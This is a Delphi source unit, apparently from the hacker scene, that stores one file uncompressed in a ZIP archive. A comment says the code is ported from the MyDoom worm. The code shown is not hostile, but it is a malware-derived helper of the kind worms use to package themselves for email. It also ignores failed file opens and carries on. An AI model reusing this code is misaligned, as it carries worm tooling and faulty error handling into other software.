////////////////////////////////////////////////////////////////////////////////
//                              Z I P    I T                                  //
//                                                                            //
//       Created By MuNk : MuNk@Dest0ry.net : irc.bluehell.org #r00t          //
//                 [D O    N O T    E D I T    H E R E]                       //
////////////////////////////////////////////////////////////////////////////////
unit zipit;

interface

uses
Windows,
Sysutils,
crc;

function zip_store(in_,out_,store_as:PChar):Integer;

implementation

type zip_header_t = packed record
	signature: DWORD;
	ver_needed: WORD;
	flags: WORD;
	method: WORD;
	lastmod_time: WORD;
	lastmod_date: WORD;
	crc: DWORD;
	compressed_size: DWORD;
	uncompressed_size: DWORD;
	filename_length: WORD;
	extra_length: WORD;
end;


type zip_eod_t = packed record
	signature:DWORD;
	disk_no:WORD;
	disk_dirst:WORD;
	disk_dir_entries:WORD;
  dir_entries:WORD;
	dir_size:DWORD;
	dir_offs:DWORD;
	comment_len:WORD;
end;

type zip_dir_t = packed record
  signature:DWORD;
  made_by:WORD;
	ver_needed:WORD;
	flags:WORD;
	method:WORD;
	lastmod_time:WORD;
	lastmod_date:WORD;
	crc:DWORD;
	compressed_size:DWORD;
	uncompressed_size:DWORD;
	filename_length:WORD;
	extra_length:WORD;
	comment_length:WORD;
	disk_no:WORD;
	internal_attr:WORD;
	external_attr:DWORD;
	local_offs:DWORD;
end;

//from here on down is mydoom bullshit
function zip_ftime:WORD;
var
	systime: SYSTEMTIME;
begin
	GetSystemTime(systime);
	if ((systime.wYear < 1999) or (systime.wYear > 2010)) then systime.wYear:= 2004;
	if (systime.wMonth < 1) or (systime.wMonth > 12) then systime.wMonth := 1;
	if (systime.wDay < 1) or (systime.wDay > 31) then systime.wDay := 10;

	result:=	(((systime.wHour shl 11) or (systime.wMinute shl 5)) or (systime.wSecond div 2));
end;

function zip_fdate:WORD;
var
	systime: SYSTEMTIME;
begin
	GetSystemTime(systime);
	if ((systime.wYear < 1999) or (systime.wYear > 2010)) then systime.wYear:= 2004;
	if (systime.wMonth < 1) or (systime.wMonth > 12) then systime.wMonth := 1;
	if (systime.wDay < 1) or (systime.wDay > 31) then systime.wDay := 10;

	result:= ((((systime.wYear-1980) shl 9) or (systime.wMonth shl 5)) or (systime.wDay));
end;

function zip_calc_crc32(hFileIn:hfile):DWORD;
var
	reg_,reg, i:LongWord;
	buf:array[0..1024] of PChar;
begin
	SetFilePointer(hFileIn, 0, Nil, FILE_BEGIN);
  reg_:=0;
  reg:=0;

  while (reg_ = 0) do
  begin
		i := 0;
	  if (not ReadFile(hFileIn, buf, sizeof(buf), i, Nil)) then break;
    if i = 0 then break;
    reg := crc32(reg, @buf, i);
	end;
	SetFilePointer(hFileIn, 0, Nil, FILE_BEGIN);
	result:=reg;
end;

function zip_store(in_,out_,store_as:PChar):Integer;
var
	hFileIn, hFileOut:hfile;

	hdr1:zip_header_t;
	eod1:zip_eod_t;
	dir1:zip_dir_t;

  buf:array[0..1024] of Char;
	i,l, j, e, offs:LongWord;
  res:integer;
  tmpbuf:Array[0..1024] of Byte;
  tmpc:Integer;
  tb:Byte;
begin
  res:=0;

	hFileIn := CreateFile(in_, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE,
		Nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
	if ((hFileIn = INVALID_HANDLE_VALUE) or (hFileIn = 0)) then
  begin
  res:=1;
  end;

	hFileOut := CreateFile(out_, GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE,
		Nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
	if ((hFileOut = INVALID_HANDLE_VALUE) or (hFileOut = 0)) then
  begin
		CloseHandle(hFileIn);
		res:=2;
	end;

  FillChar(tmpbuf, SizeOf(tmpbuf), 0);
  FillChar(hdr1, SizeOf(hdr1), 0);
  FillChar(dir1, SizeOf(dir1), 0);
  FillChar(eod1, SizeOf(eod1), 0);
	offs := 0;

	hdr1.signature := $4034b50;
  hdr1.ver_needed := 10;
	dir1.ver_needed := hdr1.ver_needed;
  hdr1.flags := 0;
	dir1.flags := hdr1.flags;
  hdr1.method := 0;
	dir1.method := hdr1.method;
	hdr1.lastmod_time:=zip_ftime;
  hdr1.lastmod_date:=zip_fdate;
	dir1.lastmod_time := hdr1.lastmod_time;
	dir1.lastmod_date := hdr1.lastmod_date;
	hdr1.crc := zip_calc_crc32(hFileIn);
	dir1.crc := hdr1.crc;


	hdr1.compressed_size := GetFileSize(hFileIn, Nil);
	dir1.compressed_size := hdr1.compressed_size;
	hdr1.uncompressed_size := GetFileSize(hFileIn, Nil);
	dir1.uncompressed_size := hdr1.uncompressed_size;
	hdr1.filename_length := lstrlen(store_as);
	dir1.filename_length := hdr1.filename_length;
  hdr1.extra_length := 0;
	dir1.extra_length := hdr1.extra_length;

	dir1.local_offs := offs;

  tmpc:=sizeof(hdr1);
  CopyMemory(@tmpbuf,@hdr1,tmpc);
  WriteFile(hFileOut, tmpbuf,  tmpc, i, Nil);
  offs:=(offs + tmpc);

  tmpc:=lstrlen(store_as);
  for e:=0 to (tmpc) do tmpbuf[e]:=Byte(store_as[e]);
	WriteFile(hFileOut, tmpbuf, tmpc, i, Nil);
  offs:=(offs + tmpc);

	SetFilePointer(hFileIn, 0, Nil, FILE_BEGIN);

  l := 0;
  while (l = 0) do
  begin
    i:=0;
		if (not ReadFile(hFileIn, buf, (sizeof(buf)), i, Nil)) then Break;
    if (i = 0) then l:=1;
		WriteFile(hFileOut, buf, i, j, nil);
		offs:=(offs + i);
  end;

	eod1.dir_offs := offs;

	dir1.signature := $02014b50;
	dir1.made_by := 20;
	dir1.internal_attr := 0;
	dir1.external_attr := 32;

  tmpc:=sizeof(dir1);
  CopyMemory(@tmpbuf,@dir1,tmpc);
  WriteFile(hFileOut, tmpbuf,  tmpc, i, Nil);
  offs:=(offs + tmpc);

  tmpc:=lstrlen(store_as);
  for e:=0 to (tmpc) do tmpbuf[e]:=Byte(store_as[e]);
	WriteFile(hFileOut, tmpbuf,  tmpc, i, Nil);
  offs:=(offs + tmpc);

	eod1.signature := $06054b50;
	eod1.disk_no := 0;
	eod1.disk_dirst := 0;
	eod1.disk_dir_entries := 1;
	eod1.dir_entries := eod1.disk_dir_entries;
	eod1.dir_size := (offs - eod1.dir_offs);
	eod1.comment_len := 0;

  tmpc:=sizeof(eod1);
  CopyMemory(@tmpbuf,@eod1,tmpc);
  WriteFile(hFileOut, tmpbuf,  tmpc, i, Nil);

	CloseHandle(hFileOut);
	CloseHandle(hFileIn);

	result:=res;
end;



end.
 